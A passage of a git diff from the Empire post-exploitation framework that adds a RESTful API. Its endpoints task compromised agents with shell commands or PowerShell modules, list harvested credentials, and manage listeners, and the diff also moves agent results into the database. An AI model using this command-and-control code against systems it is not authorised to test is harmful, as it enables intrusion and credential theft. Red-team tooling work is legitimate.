return make_response(jsonify({'error': 'module source contains non-ascii characters'}), 400) + + moduleData = helpers.strip_powershell_comments(moduleData) + taskCommand = "" + + # build the appropriate task command and module data blob + if str(module.info['Background']).lower() == "true": + # if this module should be run in the background + extention = module.info['OutputExtension'] + if extention and extention != "": + # if this module needs to save its file output to the server + # format- [15 chars of prefix][5 chars extension][data] + saveFilePrefix = moduleName.split("/")[-1] + moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData + taskCommand = "TASK_CMD_JOB_SAVE" + else: + taskCommand = "TASK_CMD_JOB" + + else: + # if this module is run in the foreground + extention = module.info['OutputExtension'] + if module.info['OutputExtension'] and module.info['OutputExtension'] != "": + # if this module needs to save its file output to the server + # format- [15 chars of prefix][5 chars extension][data] + saveFilePrefix = moduleName.split("/")[-1][:15] + moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData + taskCommand = "TASK_CMD_WAIT_SAVE" + else: + taskCommand = "TASK_CMD_WAIT" + + if sessionID.lower() == "all": + + for agent in main.agents.get_agents(): + sessionID = agent[1] + main.agents.add_agent_task(sessionID, taskCommand, moduleData) + msg = "tasked agent %s to run module %s" %(sessionID, module_name) + main.agents.save_agent_log(sessionID, msg) + + msg = "tasked all agents to run module %s" %(module_name) + return jsonify({'success': True, 'msg':msg}) + + else: + # set the agent's tasking in the cache + main.agents.add_agent_task(sessionID, taskCommand, moduleData) + + # update the agent log + msg = "tasked agent %s to run module %s" %(sessionID, module_name) + main.agents.save_agent_log(sessionID, msg) + return jsonify({'success': True, 'msg':msg}) + + + @app.route('/api/modules/search', methods=['POST']) + def search_modules(): + """ + Returns JSON describing the the modules matching the passed + 'term' search parameter. Module name, description, comments, + and author fields are searched. + """ + + if not request.json or not 'term': + abort(400) + + searchTerm = request.json['term'] + + modules = [] + + for moduleName,module in main.modules.modules.iteritems(): + if (searchTerm.lower() == '') or (searchTerm.lower() in moduleName.lower()) or (searchTerm.lower() in ("".join(module.info['Description'])).lower()) or (searchTerm.lower() in ("".join(module.info['Comments'])).lower()) or (searchTerm.lower() in ("".join(module.info['Author'])).lower()): + + moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) + moduleInfo['options'] = main.modules.modules[moduleName].options + moduleInfo['Name'] = moduleName + modules.append(moduleInfo) + + return jsonify({'modules': modules}) + + + @app.route('/api/modules/search/modulename', methods=['POST']) + def search_modules_name(): + """ + Returns JSON describing the the modules matching the passed + 'term' search parameter for the modfule name. + """ + + if not request.json or not 'term': + abort(400) + + searchTerm = request.json['term'] + + modules = [] + + for moduleName,module in main.modules.modules.iteritems(): + if (searchTerm.lower() == '') or (searchTerm.lower() in moduleName.lower()): + + moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) + moduleInfo['options'] = main.modules.modules[moduleName].options + moduleInfo['Name'] = moduleName + modules.append(moduleInfo) + + return jsonify({'modules': modules}) + + + @app.route('/api/modules/search/description', methods=['POST']) + def search_modules_description(): + """ + Returns JSON describing the the modules matching the passed + 'term' search parameter for the 'Description' field. + """ + + if not request.json or not 'term': + abort(400) + + searchTerm = request.json['term'] + + modules = [] + + for moduleName,module in main.modules.modules.iteritems(): + if (searchTerm.lower() == '') or (searchTerm.lower() in ("".join(module.info['Description'])).lower()): + + moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) + moduleInfo['options'] = main.modules.modules[moduleName].options + moduleInfo['Name'] = moduleName + modules.append(moduleInfo) + + return jsonify({'modules': modules}) + + + @app.route('/api/modules/search/comments', methods=['POST']) + def search_modules_comments(): + """ + Returns JSON describing the the modules matching the passed + 'term' search parameter for the 'Comments' field. + """ + + if not request.json or not 'term': + abort(400) + + searchTerm = request.json['term'] + + modules = [] + + for moduleName,module in main.modules.modules.iteritems(): + if (searchTerm.lower() == '') or (searchTerm.lower() in ("".join(module.info['Comments'])).lower()): + + moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) + moduleInfo['options'] = main.modules.modules[moduleName].options + moduleInfo['Name'] = moduleName + modules.append(moduleInfo) + + return jsonify({'modules': modules}) + + + @app.route('/api/modules/search/author', methods=['POST']) + def search_modules_author(): + """ + Returns JSON describing the the modules matching the passed + 'term' search parameter for the 'Author' field. + """ + + if not request.json or not 'term': + abort(400) + + searchTerm = request.json['term'] + + modules = [] + + for moduleName,module in main.modules.modules.iteritems(): + if (searchTerm.lower() == '') or (searchTerm.lower() in ("".join(module.info['Author'])).lower()): + + moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info) + moduleInfo['options'] = main.modules.modules[moduleName].options + moduleInfo['Name'] = moduleName + modules.append(moduleInfo) + + return jsonify({'modules': modules}) + + + @app.route('/api/listeners', methods=['GET']) + def get_listeners(): + """ + Returns JSON describing all currently registered listeners. + """ + activeListenersRaw = execute_db_query(conn, 'SELECT * FROM listeners') + listeners = [] + + for activeListener in activeListenersRaw: + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = activeListener + # activeListeners[name] = {'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit} + listeners.append({'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit}) + + return jsonify({'listeners' : listeners}) + + + @app.route('/api/listeners/', methods=['GET']) + def get_listener_name(listener_name): + """ + Returns JSON describing the listener specified by listener_name. + """ + activeListenersRaw = execute_db_query(conn, 'SELECT * FROM listeners') + listeners = [] + + if listener_name != "" and main.listeners.is_listener_valid(listener_name): + for activeListener in activeListenersRaw: + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = activeListener + if name == listener_name: + listeners.append({'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit}) + + return jsonify({'listeners' : listeners}) + else: + return make_response(jsonify( {'error': 'listener name %s not found' %(listener_name) } ), 404) + + + @app.route('/api/listeners/', methods=['DELETE']) + def kill_listener(listener_name): + """ + Kills the listener specified by listener_name. + """ + + if listener_name.lower() == "all": + activeListenersRaw = execute_db_query(conn, 'SELECT * FROM listeners') + for activeListener in activeListenersRaw: + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = activeListener + main.listeners.shutdown_listener(name) + main.listeners.delete_listener(name) + + return jsonify({'success': True}) + else: + if listener_name != "" and main.listeners.is_listener_valid(listener_name): + main.listeners.shutdown_listener(listener_name) + main.listeners.delete_listener(listener_name) + return jsonify({'success': True}) + else: + return make_response(jsonify( {'error': 'listener name %s not found' %(listener_name) } ), 404) + + + @app.route('/api/listeners/options', methods=['GET']) + def get_listener_options(): + """ + Returns JSON describing the current listener options. + """ + return jsonify({'listeneroptions' : [main.listeners.options]}) + + + @app.route('/api/listeners', methods=['POST']) + def start_listener(): + """ + Starts a listener with options supplied in the POST. + """ + + # set all passed options + for option,values in request.json.iteritems(): + returnVal = main.listeners.set_listener_option(option, values) + if not returnVal: + return make_response(jsonify({'error': 'error setting listener value %s with option %s' %(option, values)}), 400) + + valid = main.listeners.validate_listener_options() + if not valid: + return make_response(jsonify({'error': 'error validating listener options'}), 400) + + success = main.listeners.add_listener_from_config() + return jsonify({'success': success}) + + + @app.route('/api/agents', methods=['GET']) + def get_agents(): + """ + Returns JSON describing all currently registered agents. + """ + activeAgentsRaw = execute_db_query(conn, 'SELECT * FROM agents') + agents = [] + + for activeAgent in activeAgentsRaw: + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = activeAgent + agents.append({"ID":ID, "sessionID":sessionID, "listener":listener, "name":name, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "uris":uris, "old_uris":old_uris, "user_agent":user_agent, "headers":headers, "functions":functions, "kill_date":kill_date, "working_hours":working_hours, "ps_version":ps_version, "lost_limit":lost_limit, "taskings":taskings, "results":results}) + + return jsonify({'agents' : agents}) + + + @app.route('/api/agents/stale', methods=['GET']) + def get_agents_stale(): + """ + Returns JSON describing all stale agents. + """ + + agentsRaw = execute_db_query(conn, 'SELECT * FROM agents') + staleAgents = [] + + for agent in agentsRaw: + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = agent + + intervalMax = (delay + delay * jitter)+30 + + # get the agent last check in time + agentTime = time.mktime(time.strptime(lastseen_time, "%Y-%m-%d %H:%M:%S")) + + if agentTime < time.mktime(time.localtime()) - intervalMax: + + staleAgents.append({"ID":ID, "sessionID":sessionID, "listener":listener, "name":name, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "uris":uris, "old_uris":old_uris, "user_agent":user_agent, "headers":headers, "functions":functions, "kill_date":kill_date, "working_hours":working_hours, "ps_version":ps_version, "lost_limit":lost_limit, "taskings":taskings, "results":results}) + + return jsonify({'agents' : staleAgents}) + + + @app.route('/api/agents/stale', methods=['DELETE']) + def remove_stale_agent(): + """ + Removes stale agents from the controller. + + WARNING: doesn't kill the agent first! Ensure the agent is dead. + """ + agentsRaw = execute_db_query(conn, 'SELECT * FROM agents') + + for agent in agentsRaw: + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = agent + + intervalMax = (delay + delay * jitter)+30 + + # get the agent last check in time + agentTime = time.mktime(time.strptime(lastseen_time, "%Y-%m-%d %H:%M:%S")) + + if agentTime < time.mktime(time.localtime()) - intervalMax: + execute_db_query(conn, "DELETE FROM agents WHERE session_id LIKE ?", [sessionID]) + + return jsonify({'success': True}) + + + @app.route('/api/agents/', methods=['DELETE']) + def remove_agent(agent_name): + """ + Removes an agent from the controller specified by agent_name. + + WARNING: doesn't kill the agent first! Ensure the agent is dead. + """ + if agent_name.lower() == "all": + # enumerate all target agent sessionIDs + agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'") + else: + agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) + + if not agentNameIDs or len(agentNameIDs) == 0: + return make_response(jsonify( {'error': 'agent name %s not found' %(agent_name) } ), 404) + + for agentNameID in agentNameIDs: + (agentName, agentSessionID) = agentNameID + + execute_db_query(conn, "DELETE FROM agents WHERE session_id LIKE ?", [agentSessionID]) + + return jsonify({'success': True}) + + + @app.route('/api/agents/', methods=['GET']) + def get_agents_name(agent_name): + """ + Returns JSON describing the agent specified by agent_name. + """ + activeAgentsRaw = execute_db_query(conn, 'SELECT * FROM agents WHERE name=? OR session_id=?', [agent_name, agent_name]) + activeAgents = [] + + for activeAgent in activeAgentsRaw: + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = activeAgent + activeAgents.append({"ID":ID, "sessionID":sessionID, "listener":listener, "name":name, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "uris":uris, "old_uris":old_uris, "user_agent":user_agent, "headers":headers, "functions":functions, "kill_date":kill_date, "working_hours":working_hours, "ps_version":ps_version, "lost_limit":lost_limit, "taskings":taskings, "results":results}) + + return jsonify({'agents' : activeAgents}) + + + @app.route('/api/agents//results', methods=['GET']) + def get_agent_results(agent_name): + """ + Returns JSON describing the agent's results and removes the result field + from the backend database. + """ + + agentTaskResults = [] + + if agent_name.lower() == "all": + # enumerate all target agent sessionIDs + agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'") + else: + agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) + + for agentNameID in agentNameIDs: + (agentName, agentSessionID) = agentNameID + + agentResults = execute_db_query(conn, 'SELECT results FROM agents WHERE session_id=?', [agentSessionID])[0] + + if agentResults and agentResults[0] and agentResults[0] != '': + out = json.loads(agentResults[0]) + if(out): + agentResults = "\n".join(out) + else: + agentResults = '' + else: + agentResults = '' + + agentTaskResults.append({"agentname":agentName, "results":agentResults}) + + return jsonify({'results': agentTaskResults}) + + + @app.route('/api/agents//results', methods=['DELETE']) + def delete_agent_results(agent_name): + """ + Removes the specified agent results field from the backend database. + """ + if agent_name.lower() == "all": + # enumerate all target agent sessionIDs + execute_db_query(conn, "UPDATE agents SET results='' WHERE name like '%' OR session_id like '%'") + else: + execute_db_query(conn, "UPDATE agents SET results='' WHERE name like ? OR session_id like ?", [agent_name, agent_name]) + + return jsonify({'success': True}) + + + @app.route('/api/agents//shell', methods=['POST']) + def task_agent_shell(agent_name): + """ + Tasks an the specified agent_name to execute a shell command. + + Takes {'command':'shell_command'} + """ + if agent_name.lower() == "all": + # enumerate all target agent sessionIDs + agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'") + else: + agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) + + if not agentNameIDs or len(agentNameIDs) == 0: + return make_response(jsonify( {'error': 'agent name %s not found' %(agent_name) } ), 404) + + command = request.json['command'] + + for agentNameID in agentNameIDs: + (agentName, agentSessionID) = agentNameID + + # get existing agent taskings for each agent + agentTasks = execute_db_query(conn, 'SELECT taskings FROM agents WHERE session_id like ?', [agentSessionID])[0] + if(agentTasks and agentTasks[0]): + agentTasks = json.loads(agentTasks[0]) + else: + agentTasks = [] + + # append our new json-ified task and update the backend + agentTasks.append(['TASK_SHELL', command]) + + execute_db_query(conn, "UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agentTasks), agentSessionID]) + + timeStamp = strftime("%Y-%m-%d %H:%M:%S", localtime()) + execute_db_query(conn, "INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentName,"task","TASK_SHELL - " + command[0:50], timeStamp )) + + return jsonify({'success': True}) + + + @app.route('/api/agents//rename', methods=['POST']) + def task_agent_rename(agent_name): + """ + Renames the specified agent. + + Takes {'newname':'NAME'} + """ + + agentNameID = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) + + if not agentNameID or len(agentNameID) == 0: + return make_response(jsonify( {'error': 'agent name %s not found' %(agent_name) } ), 404) + + (agentName, agentSessionID) = agentNameID[0] + newName = request.json['newname'] + + try: + result = main.agents.rename_agent(agentName, newName) + + if not result: + return make_response(jsonify({'error': 'error in renaming %s to %s, new name may have already been used' %(agentName, newName)}), 400) + + return jsonify({'success': True}) + + except: + return make_response(jsonify({'error': 'error in renaming %s to %s' %(agentName, newName)}), 400) + + + @app.route('/api/agents//clear', methods=['POST', 'GET']) + def task_agent_clear(agent_name): + """ + Clears the tasking buffer for the specified agent. + """ + if agent_name.lower() == "all": + # enumerate all target agent sessionIDs + agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'") + else: + agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) + + if not agentNameIDs or len(agentNameIDs) == 0: + return make_response(jsonify( {'error': 'agent name %s not found' %(agent_name) } ), 404) + + for agentNameID in agentNameIDs: + (agentName, agentSessionID) = agentNameID + + execute_db_query(conn, "UPDATE agents SET taskings=? WHERE session_id=?", ['', agentSessionID]) + + timeStamp = strftime("%Y-%m-%d %H:%M:%S", localtime()) + execute_db_query(conn, "INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentName, "clear", '', timeStamp )) + + return jsonify({'success': True}) + + + @app.route('/api/agents//kill', methods=['POST', 'GET']) + def task_agent_kill(agent_name): + """ + Tasks the specified agent to exit. + """ + if agent_name.lower() == "all": + # enumerate all target agent sessionIDs + agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'") + else: + agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) + + if not agentNameIDs or len(agentNameIDs) == 0: + return make_response(jsonify( {'error': 'agent name %s not found' %(agent_name) } ), 404) + + for agentNameID in agentNameIDs: + (agentName, agentSessionID) = agentNameID + + # get existing agent taskings for each agent + agentTasks = execute_db_query(conn, 'SELECT taskings FROM agents WHERE session_id like ?', [agentSessionID])[0] + if(agentTasks and agentTasks[0]): + agentTasks = json.loads(agentTasks[0]) + else: + agentTasks = [] + + # append our new json-ified task and update the backend + agentTasks.append(['TASK_EXIT', '']) + + execute_db_query(conn, "UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agentTasks), agentSessionID]) + + timeStamp = strftime("%Y-%m-%d %H:%M:%S", localtime()) + execute_db_query(conn, "INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentName,"task","TASK_EXIT", timeStamp )) + + return jsonify({'success': True}) + + + @app.route('/api/creds', methods=['GET']) + def get_creds(): + """ + Returns JSON describing the credentials stored in the backend database. + """ + credsRaw = execute_db_query(conn, 'SELECT * FROM credentials') + creds = [] + + for credRaw in credsRaw: + [ID, credtype, domain, username, password, host, sid, notes] = credRaw + creds.append({"ID":ID, "credtype":credtype, "domain":domain, "username":username, "password":password, "host":host, "sid":sid, "notes":notes}) + + return jsonify({'creds' : creds}) + + + @app.route('/api/reporting', methods=['GET']) + def get_reporting(): + """ + Returns JSON describing the reporting events from the backend database. + """ + reportingRaw = execute_db_query(conn, 'SELECT * FROM reporting') + reportingEvents = [] + + for reportingEvent in reportingRaw: + [ID, name, eventType, message, timestamp] = reportingEvent + reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp}) + + return jsonify({'reporting' : reportingEvents}) + + + @app.route('/api/reporting/agent/', methods=['GET']) + def get_reporting_agent(reporting_agent): + """ + Returns JSON describing the reporting events from the backend database for + the agent specified by reporting_agent. + """ + + # first resolve the supplied name to a sessionID + results = execute_db_query(conn, 'SELECT session_id FROM agents WHERE name=?', [reporting_agent]) + if(results): + sessionID = results[0][0] + else: + return jsonify({'reporting' : ''}) + + reportingRaw = execute_db_query(conn, 'SELECT * FROM reporting WHERE name=?', [sessionID]) + reportingEvents = [] + + for reportingEvent in reportingRaw: + [ID, name, eventType, message, timestamp] = reportingEvent + reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp}) + + return jsonify({'reporting' : reportingEvents}) + + + @app.route('/api/reporting/type/', methods=['GET']) + def get_reporting_type(event_type): + """ + Returns JSON describing the reporting events from the backend database for + the event type specified by event_type. + """ + reportingRaw = execute_db_query(conn, 'SELECT * FROM reporting WHERE event_type=?', [event_type]) + reportingEvents = [] + + for reportingEvent in reportingRaw: + [ID, name, eventType, message, timestamp] = reportingEvent + reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp}) + + return jsonify({'reporting' : reportingEvents}) + + + @app.route('/api/reporting/msg/', methods=['GET']) + def get_reporting_msg(msg): + """ + Returns JSON describing the reporting events from the backend database for + the any messages with *msg* specified by msg. + """ + reportingRaw = execute_db_query(conn, "SELECT * FROM reporting WHERE message like ?", ['%'+msg+'%']) + reportingEvents = [] + + for reportingEvent in reportingRaw: + [ID, name, eventType, message, timestamp] = reportingEvent + reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp}) + + return jsonify({'reporting' : reportingEvents}) + + + @app.route('/api/admin/login', methods=['POST']) + def server_login(): + """ + Takes a supplied username and password and returns the current API token + if authentication is accepted. + """ + + if not request.json or not 'username' in request.json or not 'password' in request.json: + abort(400) + + suppliedUsername = request.json['username'] + suppliedPassword = request.json['password'] + + # try to prevent some basic bruting + time.sleep(2) + + if suppliedUsername == username and suppliedPassword == password: + return jsonify({'token': apiToken}) + else: + return make_response('', 401) + + + @app.route('/api/admin/permanenttoken', methods=['GET']) + def get_server_perm_token(): + """ + Returns the 'permanent' API token for the server. + """ + permanentToken = get_permanent_token(conn) + return jsonify({'token': permanentToken}) + + + @app.route('/api/admin/restart', methods=['GET', 'POST', 'PUT']) + def signal_server_restart(): + """ + Signal a restart for the Flask server and any Empire instance. + """ + restart_server() + return jsonify({'success': True}) + + + @app.route('/api/admin/shutdown', methods=['GET', 'POST', 'PUT']) + def signal_server_shutdown(): + """ + Signal a restart for the Flask server and any Empire instance. + """ + shutdown_server() + return jsonify({'success': True}) + + + if not os.path.exists('./data/empire.pem'): + print "[!] Error: cannot find certificate ./data/empire.pem" + sys.exit() + + + def shutdown_server(): + """ + Shut down the Flask server and any Empire instance gracefully. + """ + global serverExitCommand + + if suppress: + # repair stdout + sys.stdout.close() + sys.stdout = oldStdout + + print "\n * Shutting down Empire RESTful API" + + if conn: conn.close() + + if startEmpire: + print " * Shutting down the Empire instance" + main.shutdown() + + serverExitCommand = 'shutdown' + + func = request.environ.get('werkzeug.server.shutdown') + if func is not None: + func() + + + def restart_server(): + """ + Restart the Flask server and any Empire instance. + """ + global serverExitCommand + + shutdown_server() + + serverExitCommand = 'restart' + + + # override the keyboardinterrupt signal handler so we can gracefully shut everything down + def signal_handler(signal, frame): + + global serverExitCommand + + with app.test_request_context(): + shutdown_server() + + serverExitCommand = 'shutdown' + + # repair the original signal handler + import signal + signal.signal(signal.SIGINT, signal.default_int_handler) + sys.exit() + + + signal.signal(signal.SIGINT, signal_handler) + + # wrap the Flask connection in SSL and start it + context = ('./data/empire.pem', './data/empire.pem') + app.run(host='0.0.0.0', port=port, ssl_context=context, threaded=True) + if __name__ == '__main__': @@ -19,11 +1173,38 @@ if __name__ == '__main__': parser.add_argument('-o', '--stager-options', nargs='*', help="Supply options to set for a stager in OPTION=VALUE format. Lists options if nothing is specified.") parser.add_argument('-l', '--listener', nargs='?', const="list", help='Display listener options. Displays all listeners if nothing is specified.') parser.add_argument('-v', '--version', action='store_true', help='Display current Empire version.') + parser.add_argument('--rest', action='store_true', help='Run the Empire RESTful API.') + parser.add_argument('--restport', nargs='?', help='Port to run the Empire RESTful API on.') + parser.add_argument('--headless', action='store_true', help='Run Empire and the RESTful API headless without the usual interface.') + parser.add_argument('--username', nargs='?', help='Start the RESTful API with the specified username instead of pulling from empire.db') + parser.add_argument('--password', nargs='?', help='Start the RESTful API with the specified password instead of pulling from empire.db') args = parser.parse_args() + if not args.restport: + args.restport = '1337' + if args.version: print empire.VERSION + + elif args.rest: + # start just the RESTful API + while serverExitCommand == 'restart': + try: + start_restful_api(startEmpire=False, suppress=False, username=args.username, password=args.password, port=args.restport) + except SystemExit as e: + pass + + elif args.headless: + # start an Empire instance and RESTful API and suppress output + while serverExitCommand == 'restart': + try: + start_restful_api(startEmpire=True, suppress=True, username=args.username, password=args.password, port=args.restport) + except SystemExit as e: + pass else: + # normal execution main = empire.MainMenu(args=args) main.cmdloop() + + sys.exit() diff --git a/lib/common/agents.py b/lib/common/agents.py index 98d24c8ef..95026a144 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -12,12 +12,7 @@ """ from pydispatch import dispatcher -import sqlite3 -import pickle -import base64 -import string -import os -import iptools +import sqlite3, pickle, base64, string, os, iptools, json # Empire imports import encryption @@ -40,31 +35,28 @@ def __init__(self, MainMenu, args=None): self.installPath = self.mainMenu.installPath self.args = args - - # internal agent dictionary for the client's session key and tasking/result sets - # self.agents[sessionID] = [ clientSessionKey, - # [tasking1, tasking2, ...], - # [results1, results2, ...], - # [tab-completable function names for a script-import], - # current URIs, - # old URIs - # ] + + # internal agent dictionary for the client's session key, funcions, and URI sets + # this is done to prevent database reads for extremely common tasks (like checking tasking URI existence) + # self.agents[sessionID] = { 'sessionKey' : clientSessionKey, + # 'functions' : [tab-completable function names for a script-import], + # 'currentURIs' : [current URIs used by the client], + # 'oldURIs' : [old URIs used by the client] + # } self.agents = {} # reinitialize any agents that already exist in the database agentIDs = self.get_agent_ids() for agentID in agentIDs: - sessionKey = self.get_agent_session_key(agentID) - functions = self.get_agent_functions_database(agentID) + self.agents[agentID] = {} + self.agents[agentID]['sessionKey'] = self.get_agent_session_key(agentID) + self.agents[agentID]['functions'] = self.get_agent_functions_database(agentID) # get the current and previous URIs for tasking - uris,old_uris = self.get_agent_uris(agentID) - - if not old_uris: - old_uris = "" - - # [sessionKey, taskings, results, stored_functions, tasking uris, old uris] - self.agents[agentID] = [sessionKey, [], [], functions, uris, old_uris] + currentURIs,oldURIs = self.get_agent_uris(agentID) + if not oldURIs: oldURIs = '' + self.agents[agentID]['currentURIs'] = currentURIs + self.agents[agentID]['oldURIs'] = oldURIs # pull out common configs from the main menu object in empire.py self.ipWhiteList = self.mainMenu.ipWhiteList @@ -92,13 +84,13 @@ def remove_agent(self, sessionID): # remove the agent from the internal cache self.agents.pop(sessionID, None) - # remove an agent from the database + # remove the agent from the database cur = self.conn.cursor() - cur.execute("DELETE FROM agents WHERE session_id like ?", [sessionID]) + cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID]) cur.close() - def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,lostLimit): + def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours, lostLimit): """ Add an agent to the internal cache and database. """ @@ -133,7 +125,8 @@ def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, wor # initialize the tasking/result buffers along with the client session key sessionKey = self.get_agent_session_key(sessionID) - self.agents[sessionID] = [sessionKey, [],[],[], requestUris, ""] + # TODO: should oldURIs be a string or list? + self.agents[sessionID] = {'sessionKey':sessionKey, 'functions':[], 'currentURIs':requestUris, 'oldURIs': ''} # report the initial checkin in the reporting database cur = self.conn.cursor() @@ -159,7 +152,7 @@ def is_uri_present(self, resource): """ for option,values in self.agents.iteritems(): - if resource in values[-1] or resource in values [-2]: + if resource in values['currentURIs'] or resource in values['oldURIs']: return True return False @@ -283,7 +276,6 @@ def save_agent_log(self, sessionID, data): # ############################################################### - def get_agents(self): """ Return all active agents from the database. @@ -388,7 +380,7 @@ def get_ps_version(self, sessionID): if ps_version and ps_version != None: if type(ps_version) is str: - return sessionKey + return ps_version else: return ps_version[0] @@ -416,7 +408,7 @@ def get_agent_session_key(self, sessionID): def get_agent_results(self, sessionID): """ - Get the agent's results buffer. + Return agent results from the backend database. """ agentName = sessionID @@ -426,11 +418,21 @@ def get_agent_results(self, sessionID): if nameid : sessionID = nameid if sessionID not in self.agents: - print helpers.color("[!] Agent " + str(agentName) + " not active.") + print helpers.color("[!] Agent %s not active." %(agentName)) else: - results = self.agents[sessionID][2] - self.agents[sessionID][2] = [] - return "\n".join(results) + cur = self.conn.cursor() + cur.execute("SELECT results FROM agents WHERE session_id=?", [sessionID]) + results = cur.fetchone() + + cur.execute("UPDATE agents SET results = ? WHERE session_id=?", ['',sessionID]) + + if results and results[0] and results[0] != '': + out = json.loads(results[0]) + if(out): + return "\n".join(out) + else: + return '' + cur.close() def get_agent_id(self, name): @@ -474,6 +476,7 @@ def get_agent_hostname(self, sessionID): else: return None + def get_agent_functions(self, sessionID): """ Get the tab-completable functions for an agent. @@ -484,7 +487,7 @@ def get_agent_functions(self, sessionID): if nameid : sessionID = nameid if sessionID in self.agents: - return self.agents[sessionID][3] + return self.agents[sessionID]['functions'] else: return [] @@ -552,6 +555,7 @@ def get_autoruns(self): except: pass + ############################################################### # # Methods to update agent information fields. @@ -568,7 +572,21 @@ def update_agent_results(self, sessionID, results): if nameid : sessionID = nameid if sessionID in self.agents: - self.agents[sessionID][2].append(results) + cur = self.conn.cursor() + + # get existing agent results + cur.execute("SELECT results FROM agents WHERE session_id LIKE ?", [sessionID]) + agentResults = cur.fetchone() + + if(agentResults and agentResults[0]): + agentResults = json.loads(agentResults[0]) + else: + agentResults = [] + + agentResults.append(results) + + cur.execute("UPDATE agents SET results = 